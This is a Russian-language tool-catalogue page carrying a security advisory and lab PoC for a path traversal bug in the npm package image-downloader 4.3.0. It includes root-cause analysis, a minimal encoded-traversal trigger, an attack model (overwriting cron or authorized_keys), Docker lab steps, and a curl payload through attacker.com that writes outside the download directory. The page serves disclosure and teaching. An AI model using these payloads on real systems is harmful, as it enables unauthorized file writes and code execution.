Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-103648 — Рекомендация и PoC для CVE-2026-103648 — обход пути (CWE-22) в image-downloader 4.3.0, позволяющий произвольную запись файлов, с анализом первопричины, патч-диффом и лабораторией Docker. | Kitploit
Инструменты/GitHubGitHub/eternullsec/cve-2026-103648
Сканеры уязвимостейАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеСтатьи и ИсследованияОбучение и ОбразованиеRed TeamingЛаборатории и Практика
GitHubeternullsec/cve-2026-103648

CVE-2026-103648

Рекомендация и PoC для CVE-2026-103648 — обход пути (CWE-22) в image-downloader 4.3.0, позволяющий произвольную запись файлов, с анализом первопричины, патч-диффом и лабораторией Docker.

5 ч 39 мин назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-103648 — Path Traversal в image-downloader

CVE CVSS CWE Package Status License

Обнаружено: Amirhossein Roustaei (@EterNullSec) — Eternull Security

⚠️ Только в образовательных целях. Этот репозиторий документирует уязвимость, раскрытую в рамках ответственного раскрытия. Весь PoC-код предназначен исключительно для авторизованных исследований безопасности и тестирования в изолированных лабораторных средах. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.


📋 Сводка рекомендаций

ПолеДетали
CVE IDCVE-2026-103648
Запись в NVDnvd.nist.gov/vuln/detail/CVE-2026-103648
Оценка CVSS v3.19.1 Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
CWECWE-22: Некорректное ограничение пути к каталогу
Пакетimage-downloader (npm) от demsking
Недельные загрузки npm~11 000 (~38 000/месяц) — источник
Затронутые версии< 4.3.1 (все версии, включая 4.3.0)
Исправленная версия4.3.1
Кем присвоенGitLab
Опубликовано2026-10-02
ИсследовательAmirhossein Roustaei (@EterNullSec), Eternull Security

🔬 Технический анализ первопричины

Уязвимость находится в логике извлечения имени файла в [email protected]. Это фактический исходный код уязвимой версии (index.js, взятый напрямую из опубликованного npm-пакета):

// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
  if (!options.url) {
    return Promise.reject(new Error('The options.url is required'));
  }
  if (!options.dest) {
    return Promise.reject(new Error('The options.dest is required'));
  }

  if (extractFilename) {
    if (!path.extname(options.dest)) {
      const url = new URL(options.url);
      const pathname = url.pathname;
      const basename = path.basename(pathname);          // ❌ basename BEFORE decode
      const decodedBasename = decodeURIComponent(basename); // decode happens AFTER

      options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
    }
  }
  // ...
  return request(options);
};

Точная ошибка

  1. path.basename(pathname) вызывается для всё ещё процентно-кодированного pathname URL. Последовательность вроде %2e%2e%2fpwned.sh не содержит литерального /, поэтому path.basename() воспринимает всё это как одно имя файла и возвращает его без изменений — ничего не удаляется.
  2. Результат затем передаётся через decodeURIComponent(). Именно этот шаг превращает %2e%2e%2f обратно в литеральный ../ — но к этому моменту он уже прошёл шаг basename, который должен был его очистить.
  3. path.join(options.dest, decodedBasename) вызывается со строкой, которая теперь содержит реальный сегмент ../. path.join() нормализует .. так же, как это сделал бы cd .. — поэтому итоговый путь записи разрешается в местоположение вне options.dest.

Короче говоря: код декодирует имя файла правильным способом, но в неправильном порядке относительно path.basename(). Декодирование-затем-basename безопасно; basename-затем-декодирование — нет.

Минимальный триггер

URL pathname:  /%2e%2e%2fpwned.sh
basename():    "%2e%2e%2fpwned.sh"        (unchanged — no literal '/')
decode:        "../pwned.sh"              (traversal now literal)
path.join(dest, "../pwned.sh")
            → resolves one directory ABOVE dest

Разбор CVSS

Attack Vector:       Network   (AV:N)  — remotely triggerable
Attack Complexity:   Low       (AC:L)  — no special conditions
Privileges Required: None      (PR:N)  — no authentication needed
User Interaction:    None      (UI:N)  — fully automated
Scope:               Unchanged (S:U)
Confidentiality:     None      (C:N)
Integrity:           High      (I:H)   — arbitrary file write
Availability:        High      (A:H)   — overwrite critical files / DoS

🎯 Модель атаки

Эта лабораторная работа демонстрирует механизм ошибки от начала до конца в одном скрипте для удобства воспроизведения, но стоит явно описать реальную модель атаки:

  • Жертва: любое приложение, которое вызывает download.image({ url, dest }) из image-downloader со значением url, которое оно не полностью контролирует само — например, URL, отправленный пользователем (функции импорта аватаров/изображений), полученный из полезной нагрузки вебхука или прочитанный из RSS/контент-фида.
  • Атакующий: контролирует (или может перенаправить на) HTTP-сервер, на который указывает url жертвы, и контролирует компонент пути этого URL — чего самого по себе достаточно, поскольку обход каталога находится в пути URL (%2e%2e%2f...), а не в теле ответа.
  • Воздействие: процесс-жертва записывает файл по выбору атакующего в путь по выбору атакующего, за пределами каталога, который предполагал разработчик — в контейнерах или скриптах, работающих с широким доступом к файловой системе, это регулярно приводит к выполнению кода (например, перезапись файла cron, файла authorized_keys или исполняемого файла, который приложение позже запускает).

В exploit/exploit.py роли атакующего и жертвы объединены в один скрипт для удобства лабораторной работы (он поднимает как запрос «жертвы» к серверу, так и сервер полезной нагрузки, контролируемый атакующим). В реальном сценарии эксплуатации это две отдельные, не связанные стороны — PoC структурирован таким образом исключительно для того, чтобы уязвимость воспроизводилась одной командой.


🧪 Настройка лабораторной среды

Предварительные требования

  • Docker и Docker Compose ИЛИ Node.js v18+
  • Python 3.x (для скрипта эксплуатации)

Вариант A — Docker (рекомендуется)

git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build

Уязвимый сервер будет доступен по адресу http://localhost:3000.

Вариант B — Ручной запуск Node.js

cd vulnerable-app/
npm install
node server.js

💥 Шаги воспроизведения (PoC)

Шаг 1 — Запуск уязвимого сервера

cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/

Шаг 2 — Запуск эксплойта

python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

Или вручную с помощью curl (обход каталога находится в пути URL, а не в теле ответа):

curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"

Шаг 3 — Проверка обхода каталога

# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt

📸 Подтверждение выполнения

$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
Скачать инструмент